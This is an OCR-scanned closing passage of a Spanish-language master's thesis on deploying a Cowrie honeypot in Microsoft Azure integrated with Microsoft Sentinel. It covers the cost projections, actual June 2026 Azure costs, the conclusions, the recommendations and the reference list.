Horas
Total $147,59
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Aproximadamente se tendra un costo de 150,763 mensuales fuera del valor de la
ingesta, el cual segun fuentes oficiales ronda los 4,76$ por cada GB, realizando una proyeccion
a 1 y 3 afios obtenemos la siguiente tabla:

Tabla 9.

Proyeccion de Costos Mensual, 1 afio y 3 afios

Concepto Mensual 1 Afo 3 Aiios
Virtual Machine $ 14496 § 1.73952 § 5.218,56
Ip Address $ 2,63 $ 31,56 $ 94,68
TOTAL $ 150,76 $ 1.809,12 § 5.427,36

En base a estos valores tener una inversion de 150,76$ y 1809,12$ es econdémicamente
viable para una empresa proveedora de SOC como para organizaciones que busquen mejorar
su infraestructura de ciberseguridad e inteligencia de amenazas sin preocuparse por realizar
mantenimientos de hardware propio, por otro lado, el costo expuesto es considerablemente
menor que el de un incidente de seguridad.

Como referencia el costo anual por cada incidente de ciber seguridad en los Estados
Unidos de América promedia los 4.4 millones de USD. (IBM, 2026)

Si bien existen estudios confiables que calculan el impacto econdmico de los incidentes
de ciberseguridad en economias desarrolladas, como Estados Unidos, en Latinoamérica existe
una muy poca disponibilidad de fuentes reconocidas que permitan estimar el costo promedio de
un incidente de seguridad para las organizaciones de la region. Esta falta de informacion hace
que no sea posible estimar un valor monetario al riesgo asociado a las vulnerabilidades de
ciberseguridad.

4.2.1 Validacion de costos reales en Microsoft Azure
Con el proposito de complementar la estimacion tedrica presentada mediante la

calculadora de Azure, se realizé una revision de los costos reales registrados en Azure Cost
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Management durante junio de 2026. Este analisis permitio identificar el consumo efectivo de
los servicios utilizados en el laboratorio, incluyendo componentes de computo, monitoreo,
almacenamiento y red. Los resultados obtenidos proporcionan una vision mas precisa del
comportamiento econdmico de la arquitectura implementada y permiten contrastar los costos
proyectados con los costos reales observados durante la ejecucion del proyecto.

Tabla 10.

Costos reales observados en Azure durante junio de 2026

Categoria de servicio Costo (USD)
Virtual Machines 19,19
Microsoft Sentinel 7,97
Storage 4,8
Virtual Network 3,6
Virtual Machines License 3,1
Azure Monitor < 0,01
Bandwidth < 0,01

TOTAL 38,66

Nota. Los valores corresponden al consumo registrado en Azure Cost Management para el
grupo de recursos utilizado durante el desarrollo del laboratorio. El costo total observado fue
de USD 38,66 durante junio de 2026. El valor efectivamente facturado por Microsoft Azure fue
de USD 14,41 debido a los beneficios y créditos asociados a la suscripcion utilizada con fines

académicos.
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Figura 54.

Analisis de costos reales por servicio en Azure Cost Management

O sun 2026 Reseurce group nome - gr-tesis-maestria @ | | Ry Add fiber

AMORTZED COSTOUST) @ FOSECASTUNAVALARE @ aupcET:noKE Group by: Senvicename v Granulariy: Monthly

$38.66 . -- -

“ $1919 $38.66 93866
. §7.97

Nota. Captura obtenida desde Azure Cost Management correspondiente al grupo de recursos
GR-TESIS-MAESTRIA durante junio de 2026. Se evidencia la distribucion de costos entre los
principales servicios consumidos por la arquitectura implementada, incluyendo Virtual

Machines, Microsoft Sentinel, Storage, Virtual Network y Azure Monitor.

La Figura 54 muestra la distribucion real de costos registrada en Azure Cost
Management durante junio de 2026. Se observa que el mayor componente de gasto
corresponde a Virtual Machines con USD 19,19, seguido de Microsoft Sentinel con USD 7,97,
Storage con USD 4,80 y Virtual Network con USD 3,60. Asimismo, se identifican costos
menores asociados a licenciamiento de méaquinas virtuales, Azure Monitor y trafico de red.
Estos resultados demuestran que el costo operativo de la solucién no depende unicamente de la
infraestructura de coémputo, sino también de los servicios de monitoreo, almacenamiento y red

necesarios para la correcta operacion del honeypot y su integracién con Microsoft Sentinel.
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CAPITULO 5

5. CONCLUSIONES Y RECOMENDACIONES

A continuacion, se exponen las conclusiones y recomendaciones derivadas del

desarrollo, implementacion y evaluacion de la arquitectura propuesta basada en un honeypot

Cowrie integrado con Microsoft Sentinel en un entorno Microsoft Azure. Tanto las

conclusiones como las recomendaciones tienen base en las pruebas realizadas, los andlisis de

resultados técnicos y econdmicos de la solucion propuesta.

5.1. Conclusiones

Se logré implementar exitosamente una arquitectura de monitoreo basada en un
honeypot cowrie desplegado en Microsoft Azure e integrado con Microsoft
Sentinel, validando la factibilidad técnica de utilizar servicios cloud para
fortalecer las capacidades de deteccion temprana e inteligencia de amenazas

dentro del SOC.

La integracion entre el honeypot cowrie y Microsoft Sentinel permitid visualizar
eventos provenientes de multiples fuentes de informacion. Los resultados
combinados de estas fuentes proporcionan una vision integral del entorno

monitoreado y mejoran la capacidad de andlisis de seguridad.

El sistema implementado permiti6 identificar y clasificar 707 direcciones IP
unicas durante el periodo de observacion. De estas, una proporcion significativa
presentd coincidencia con fuentes de inteligencia de amenazas y fue clasificada
con niveles de riesgo HIGH y CRITICAL, demostrando la capacidad de la
solucién para detectar actividad potencialmente maliciosa y validar amenazas

conocidas mediante mecanismos de correlacion automatizados.

El honeypot aport6 valor adicional al proceso de deteccion al identificar
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direcciones IP que no presentaban coincidencia con las fuentes de inteligencia
de Microsoft Defender Threat Intelligence. Este resultado demuestra que la
utilizacion de tecnologias de engafio complementa las capacidades tradicionales
de inteligencia de amenazas al permitir la identificacion de actividades

sospechosas que aun no han sido catalogadas por fuentes externas.

e El mapeo de los eventos observados con el marco MITRE ATT&CK permitiod
clasificar las tacticas y técnicas empleadas por los atacantes, identificando
principalmente actividades asociadas a Discovery (TA0007), Persistence
(TA0003), Defense Evasion (TA0005), Privilege Escalation (TA0004),
Execution (TA0002) y Command and Control (TA0011). Esto demuestra que la
solucion propuesta no solo detecta eventos, sino que facilita la comprension del
comportamiento adversario y fortalece las capacidades analiticas de los equipos

SOC.

e La evaluacion comparativa evidencio que el entorno con honeypot proporciona
informacion de alto valor que no se encuentra disponible en entornos
tradicionales. La captura de comandos ejecutados, credenciales utilizadas,
direcciones IP atacantes y su posterior validacion mediante plataformas de
reputacion permitid enriquecer significativamente el contexto de las alertas y

mejorar la calidad de la informacion disponible para la toma de decisiones.

e Desde el punto de vista econdmico, la solucidon propuesta presenta una relacion
costo-beneficio favorable. La estimacion inicial de la infraestructura base
desplegada en Microsoft Azure proyect6 un costo mensual de USD 150,76,
correspondiente principalmente a la maquina virtual y la direccion IP publica.

Sin embargo, el andlisis de costos reales realizado durante junio de 2026
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evidencio ademas consumo asociado a Microsoft Sentinel, almacenamiento
(Storage), red (Virtual Network), monitoreo (Azure Monitor) y otros servicios
complementarios necesarios para la operacion de la solucion. Estos resultados
demuestran que el costo total de la arquitectura no depende tinicamente de los
recursos de computo, sino también de los servicios de ingesta, correlacion y
almacenamiento de eventos de seguridad. A pesar de estos costos adicionales, la
solucion continua siendo una alternativa viable para fortalecer las capacidades

de deteccion temprana e inteligencia de amenazas en entornos empresariales.

e Debido a que no se dispone de fuentes importantes sobre impactos de
violaciones a la ciberseguridad en nuestra region podemos concluir que no es
posible cuantificar el impacto econémico potencial de un incidente,
considerando que esto no disminuye el riesgo existente; por el contrario,
incrementa la necesidad de implementar controles que permitan detectar
actividades maliciosas de forma temprana y fortalecer la capacidad de respuesta
ante amenazas emergentes. Por ello, la inversion anual estimada para la solucion
propuesta puede considerarse justificada, ya que representa un costo
significativamente inferior al impacto financiero, operativo y reputacional que

podria ocasionar un incidente de ciberseguridad exitoso.

5.2. Recomendaciones

e Serecomienda ampliar el periodo de monitoreo del honeypot mas alla del
tiempo considerado en esta investigacion, con el fin de capturar una mayor
cantidad de eventos, identificar tendencias de ataque a largo plazo y obtener una
muestra mas representativa del comportamiento de los actores maliciosos. Esta

recomendacion surge de los resultados obtenidos, donde se identificaron 707
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direcciones IP tnicas durante un periodo relativamente corto de observacion.

e Serecomienda integrar fuentes adicionales de inteligencia de amenazas, tanto
comerciales como de codigo abierto. Durante la investigacion se identificaron
direcciones IP detectadas por el honeypot cowrie el cual se centra en eventos de
intento de ingresos por acceso remoto, es interesante repetir este laboratorio con
honeypots como: Dionaea, Heralding o CitrixHoneypot por ejemplo, las cuales
se centran en capturar malware, ataques de fuerza bruta y vulnerabilidades de

Citrix respectivamente.

e Se recomienda automatizar la generacion de indicadores de compromiso
obtenidos a partir de las direcciones IP, credenciales y comandos capturados por
el honeypot, permitiendo su utilizacidon en procesos de respuesta automatica y

fortaleciendo las capacidades de inteligencia de amenazas de la organizacion.

e Se recomienda replicar la arquitectura propuesta en otros entornos cloud y
escenarios empresariales con diferentes niveles de exposicion a Internet, con el
fin de validar la escalabilidad y adaptabilidad del modelo desarrollado. Los
resultados obtenidos demuestran que la arquitectura es viable y puede servir

como referencia para futuras implementaciones en SOCs.

e Serecomienda complementar futuras investigaciones con analisis estadisticos
de mayor duracion y con métricas de efectividad operacional, tales como tiempo
medio de deteccion y tiempo medio de respuesta, para cuantificar de manera
objetiva el impacto de los honeypots en el fortalecimiento de los procesos de

monitoreo y respuesta ante incidentes.



Honeypot y correlacion en Azure Sentinel 79

REFERENCIAS

Al-Rubaian, A., & Al-Turjman, F. (2025). Cloud-native SIEM architectures: Enhancing security
observability in multi-cloud environments. Retrieved from Journal of Network and Computer

Applications.

Al-Zewairi, M. (2022). . Experimental Evaluation of SIEM Systems in Detecting Modern Cyberattacks.
Applied Sciences, 10(21). Retrieved from https://doi.org/10.3390/app10217495

Behl, A. &. (2017). Cybersecurity and cyberwar: What everyone needs to know. Oxford University Press.
ChatGPT. (2026). Arquitectura de un honeypot. OpenAl.

Chen, X., & Wang, J. . (2026). Standardizing Detection as Code: Improving MTTD and MTTR in hybrid

environments. Retrieved from Future Generation Computer Systems, 155, 120-135.

CISA., C. a. (2025). Strategic Approach to Deception Technology in Enterprise Cloud Environments.
Retrieved from https://www.cisa.gov/resources-tools/resources/deception-technology-

strategy

Cloudflare. (2026). ¢Qué es STIX/TAXII? Retrieved from https://www.cloudflare.com/es-

es/learning/security/what-is-stix-and-taxii/

Controles Empresariales. (2023). Recopilar, detectar, investigar y responder: asi funciona Microsoft
Sentinel. Blog de Controles Empresariales. Retrieved from
https://blog.controlesempresariales.com/recopilar-detectar-investigar-y-responder-

as%C3%AD-funciona-microsoft-sentinel

Cowrie. (2024). Advanced SSH Honeypot for Enterprise Security. Retrieved from

https://www.cowrie.org/

CyberDefenders. (2026). Why should SOC analysts master threat intelligence? CyberDefenders Blog.

Retrieved from https://cyberdefenders.org/blog/threat-intelligence-for-soc-analysts/

D, K. (2023). A survey of contemporary open-source honeypots, frameworks, and tools. Journal of

Network and Computer Applications, 220.

D’souza, E. (2023). Cloud Honeypot + SIEM Analytics: Building a Threat Detection Lab on Microsoft Azure.
Medium. Retrieved from https://medium.com/@ervindsouza08/cloud-honeypot-siem-

analytics-building-a-threat-detection-lab-on-microsoft-azure-1a3bb35a6e3e



Honeypot y correlacion en Azure Sentinel 80

Forrester Consulting. (2024). The Total Economic Impact™ of Microsoft Sentinel . Retrieved from [Estudio
comisionado por Microsoft]. Microsoft Security Blog.: https://www.microsoft.com/en-
us/security/blog/2024/03/19/microsoft-sentinel-delivered-234-roi-according-to-new-forrester-
study/

Fortinet. (2026). Retrieved from https://www.fortinet.com/lat/resources/cyberglossary/what-is-

honeypot

Franco, J., et al. (2021). A review of honeypots and honeynets for network security. IEEE Access, 9,

122811-122832. Retrieved from https://doi.org/10.1109/ACCESS.2021.3109315

Harris, R. (2014). Arriving at an anti-forensics consensus: Examining how to define and control the anti-

forensics problem. Digital Investigation.

Husari, G. (2022). TTP-Drill: Data-Driven Threat Intelligence and Mapping to MITRE ATT&CK. Applied
Sciences, 12(11). Retrieved from https://doi.org/10.3390/app12115471

IBM . (2026). Retrieved from https://www.ibm.com/es-es/think/topics/mitre-attack

IBM. (2026). Cost of a Data Breach Report 2025. Retrieved from https://www.ibm.com/reports/data-

breach
Kosinski, M. (n.d.). IBM. Retrieved from ¢ Qué es la inteligencia sobre amenazas?

Microsoft . (2025). Best practices for creating detection rules and custom analytics in Microsoft Sentinel.
Retrieved from https://learn.microsoft.com/en-us/security/operations/detect-threats-custom-

analytics

Microsoft . (2026). Retrieved from https://learn.microsoft.com/es-es/kusto/query/?view=microsoft-

fabric

Microsoft. (2024). Introduccion a Microsoft Sentinel. Microsoft Learn. Retrieved from

https://learn.microsoft.com/es-es/azure/sentinel/deploy-overview

Microsoft. (2026). Retrieved from https://www.microsoft.com/es-mx/security/business/security-

101/what-is-a-security-operations-center-soc

Microsoft. (2026). Retrieved from https://www.microsoft.com/es-es/security/business/security-

101/what-is-cyber-threat-intelligence

Microsoft. (2026). Retrieved from https://www.microsoft.com/es-es/security/business/security-

101/what-is-siem#What-is-SIEM



Honeypot y correlacion en Azure Sentinel 81

Microsoft Tech Community. (2024). Cowrie Honeypot and its integration with Microsoft Sentinel.
Retrieved from https://techcommunity.microsoft.com/blog/microsoftsentinelblog/cowrie-

honeypot-and-its-integration-with-microsoft-sentinel-/4258349
MITRE. (2024). ATT&CK Matrix for Enterprise. Retrieved from https://attack.mitre.org/

MITRE Corporation . (2025). MITRE ATT&CK®: A Framework for Adversary Emulation and Security
Posture Assessment. . Retrieved from

https://attack.mitre.org/docs/ATTACK_Design_and_Philosophy_2025.pdf

MITRE  Corporation. (n.d.). MITRE ATT&CK® Enterprise  Matrix.  Retrieved from

https://attack.mitre.org/matrices/enterprise/

NIST . (2025). Guide to Cyber Threat Information Sharing: Integrating Deception and Detection
Mechanisms. Retrieved from

https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-150r1.pdf

OASIS Open . (2024). STIX/TAXII 2.1: Automated Threat Intelligence Exchange Standard. Retrieved from

https://oasis-open.github.io/cti-documentation/
Oprea, A. &.(2018). Machine learning for cybersecurity. |IEEE Security & Privacy.

Patel, K., & Gupta, M. . (2024). Orchestrating active defense: The role of SOAR in modern SOC operations.

Retrieved from International Journal of Information Security and Privacy, 18(2).

Sanchez-Gémez, J., et al. . (2024). Deceptive technologies in cloud computing: A survey of honeypot

integration strategies. Retrieved from IEEE Access, 12, 58231-58250.

SANS Institute. (2026). SANS SOC Survey. Retrieved from https://www.sans.org/webcasts/2026-sans-

soc-survey-insights

Schim, A. (2023). ANSI. Retrieved from https://blog.ansi.org/ansi/iso-iec-27035-1-2023-information-

security-management/

SentinelOne. (2025, Agosto 19). SentinelOne. Retrieved from ¢Qué son los indicadores de compromiso
(10C)?: https://www.sentinelone.com/es/cybersecurity-101/threat-intelligence/what-are-

indicators-of-compromise-iocs-a-comprehensive-guide/

Sikos, L. F. (2023). Al-integrated SIEM for Intelligent Cloud Security Operations. Journal of Cloud
Computing. Retrieved from https://doi.org/10.1186/s13677-023-00412-w

Strom, B. E. (2018). MITRE ATT&CK: Design and philosophy. MITRE Corporation.



Honeypot y correlacion en Azure Sentinel 82

Torg. (2025, julio 16). Retrieved from https://torg.io/blog/mttd-vs-mttr/

Varghese, S., et al. (2024). ntegration of Honeypots with SIEM in Cloud Environments for Real-time Threat
Analysis. International Research Journal of Engineering and Technology (IRJET), 11(05).
Retrieved from https://www.irjet.net/archives/V11/i5/IRJET-V11I562.pdf

Wallarm. (2026). Wallarm. Retrieved from Definicion de la triada de la ClA:
https://lab.wallarm.com/what/definicion-de-la-triada-de-la-cia-ejemplos-de-confidencialidad-

integridad-y-disponibilidad/?lang=es

Warren Z. Cabral, C. V. (2022, 08 04). Advanced Cowrie Configuration to Increase Honeypot. Retrieved
from https://inria.hal.science/hal-03746028v1/document

Zhang, Y., & Liu, H. . (2025). Al-driven threat hunting: Leveraging behavioral analytics for proactive

defense. Retrieved from Cybersecurity Review, 12(1), 45-62.



